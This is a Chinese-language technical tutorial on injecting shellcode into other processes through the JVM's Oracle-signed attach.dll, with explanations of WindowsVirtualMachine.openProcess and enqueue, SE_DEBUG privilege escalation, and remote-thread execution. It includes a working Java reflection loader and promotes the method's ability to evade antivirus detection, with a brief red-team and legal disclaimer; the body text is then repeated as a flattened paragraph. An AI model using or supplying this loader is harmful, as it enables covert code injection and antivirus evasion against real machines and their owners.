JVM加载Shellcode
字数 1041 2025-08-06 18:07:56

JVM加载Shellcode技术详解

0x01 前言

Java加载Shellcode主要有三种方法:

  1. JNI (Java Native Interface):需要落地一个dll文件
  2. JNA (Java Native Access):会生成无签名的jni.dll文件
  3. JVM方法:利用Java自带的签名dll文件,能更好规避杀软检测

本文重点讲解第三种方法——通过JVM加载Shellcode的技术实现。

0x02 技术原理

关键组件

  1. attach.dll:位于JAVA_HOME\jre\bin\目录下,带有Oracle签名
  2. WindowsVirtualMachine类:字节码位于tools.jar包的sun.tools.attach路径下

核心方法

  1. openProcess:获取目标进程句柄
  2. enqueue:执行Shellcode注入

openProcess方法详解

JNIEXPORT jlong JNICALL Java_sun_tools_attach_WindowsVirtualMachine_openProcess
  (JNIEnv *env, jclass cls, jint pid)
{
    // 主要功能:
    // 1. 获取指定PID的进程句柄
    // 2. 处理权限问题
    // 3. 检查进程位数匹配
}

关键点:

  • 首先检查是否为当前进程
  • 尝试普通权限打开进程
  • 失败后尝试提升权限(SE_DEBUG_NAME)
  • 检查进程位数匹配(32/64位)

doPrivilegedOpenProcess函数

static HANDLE doPrivilegedOpenProcess(...)
{
    // 主要功能:
    // 1. 获取当前线程令牌
    // 2. 查找SE_DEBUG_NAME权限
    // 3. 调整令牌权限
    // 4. 再次尝试OpenProcess
}

enqueue方法详解

JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    // 主要功能:
    // 1. 准备DataBlock结构
    // 2. 在目标进程分配内存
    // 3. 写入Shellcode
    // 4. 创建远程线程执行
}

关键数据结构:

typedef struct {
   GetModuleHandleFunc _GetModuleHandle;
   GetProcAddressFunc _GetProcAddress;
   char jvmLib[MAX_LIBNAME_LENGTH];     // "jvm.dll"
   char func1[MAX_FUNC_LENGTH];         // "JVM_EnqueueOperation"
   char func2[MAX_FUNC_LENGTH];         // "_JVM_EnqueueOperation@20"
   char cmd[MAX_CMD_LENGTH];            // "load", "dump"等
   char arg[MAX_ARGS][MAX_ARG_LENGTH];  // 命令参数
   char pipename[MAX_PIPE_NAME_LENGTH]; // 管道名
} DataBlock;

注入流程:

  1. 准备DataBlock结构
  2. 在目标进程分配内存并写入DataBlock
  3. 获取Shellcode字节数组
  4. 在目标进程分配可执行内存并写入Shellcode
  5. 创建远程线程执行Shellcode
  6. 等待线程完成并检查结果
  7. 释放分配的内存

0x03 Java代码实现

import java.lang.reflect.Method;

public class ShellcodeLoader {
    public static void main(String[] args) throws Exception {
        // 1. 准备Shellcode字节数组
        byte[] shellcode = new byte[] {(byte) 0xfc, (byte) 0x48, ...};
        
        // 2. 反射获取WindowsVirtualMachine类
        Class CST_AV = Class.forName("sun.tools.attach.WindowsVirtualMachine");
        
        // 3. 获取openProcess方法
        Method openProcess = CST_AV.getDeclaredMethod("openProcess", int.class);
        openProcess.setAccessible(true);
        
        // 4. 打开目标进程(替换20248为目标PID)
        long hProcess = (long)openProcess.invoke(null, 20248);
        
        // 5. 获取enqueue方法
        Method enqueue = CST_AV.getDeclaredMethod("enqueue", 
            long.class, byte[].class, String.class, String.class, Object[].class);
        enqueue.setAccessible(true);
        
        // 6. 执行Shellcode注入
        Object[] params = new Object[]{};
        enqueue.invoke(null, hProcess, shellcode, null, null, params);
    }
}

获取Java位数

Properties sysProperty = System.getProperties();
System.out.println(sysProperty.getProperty("sun.arch.data.model"));

0x04 技术优势

  1. 隐蔽性:使用Java自带的签名dll文件,减少被杀软检测的风险
  2. 稳定性:自动检查进程位数匹配,防止因位数不匹配导致崩溃
  3. 权限处理:自动尝试提升权限(SE_DEBUG_NAME)获取高权限进程句柄
  4. 跨进程:可以注入到其他Java进程,避免当前Java进程崩溃

0x05 注意事项

  1. Shellcode位数必须与目标进程匹配
  2. 需要适当权限才能打开目标进程
  3. 注入系统进程可能需要管理员权限
  4. 不同Java版本可能需要调整实现细节

参考资源

  1. OpenJDK源码:src/windows/native/sun/tools/attach/WindowsVirtualMachine.c
  2. 相关技术文章:JVM加载Shellcode技术分析

通过这种方法,可以实现较为隐蔽的Shellcode加载,适用于红队测试等场景。使用时请遵守相关法律法规。

JVM加载Shellcode技术详解 0x01 前言 Java加载Shellcode主要有三种方法: JNI (Java Native Interface) :需要落地一个dll文件 JNA (Java Native Access) :会生成无签名的jni.dll文件 JVM方法 :利用Java自带的签名dll文件,能更好规避杀软检测 本文重点讲解第三种方法——通过JVM加载Shellcode的技术实现。 0x02 技术原理 关键组件 attach.dll :位于 JAVA_HOME\jre\bin\ 目录下,带有Oracle签名 WindowsVirtualMachine类 :字节码位于tools.jar包的 sun.tools.attach 路径下 核心方法 openProcess :获取目标进程句柄 enqueue :执行Shellcode注入 openProcess方法详解 关键点: 首先检查是否为当前进程 尝试普通权限打开进程 失败后尝试提升权限(SE_ DEBUG_ NAME) 检查进程位数匹配(32/64位) doPrivilegedOpenProcess函数 enqueue方法详解 关键数据结构: 注入流程: 准备DataBlock结构 在目标进程分配内存并写入DataBlock 获取Shellcode字节数组 在目标进程分配可执行内存并写入Shellcode 创建远程线程执行Shellcode 等待线程完成并检查结果 释放分配的内存 0x03 Java代码实现 获取Java位数 0x04 技术优势 隐蔽性 :使用Java自带的签名dll文件,减少被杀软检测的风险 稳定性 :自动检查进程位数匹配,防止因位数不匹配导致崩溃 权限处理 :自动尝试提升权限(SE_ DEBUG_ NAME)获取高权限进程句柄 跨进程 :可以注入到其他Java进程,避免当前Java进程崩溃 0x05 注意事项 Shellcode位数必须与目标进程匹配 需要适当权限才能打开目标进程 注入系统进程可能需要管理员权限 不同Java版本可能需要调整实现细节 参考资源 OpenJDK源码: src/windows/native/sun/tools/attach/WindowsVirtualMachine.c 相关技术文章: JVM加载Shellcode技术分析 通过这种方法,可以实现较为隐蔽的Shellcode加载,适用于红队测试等场景。使用时请遵守相关法律法规。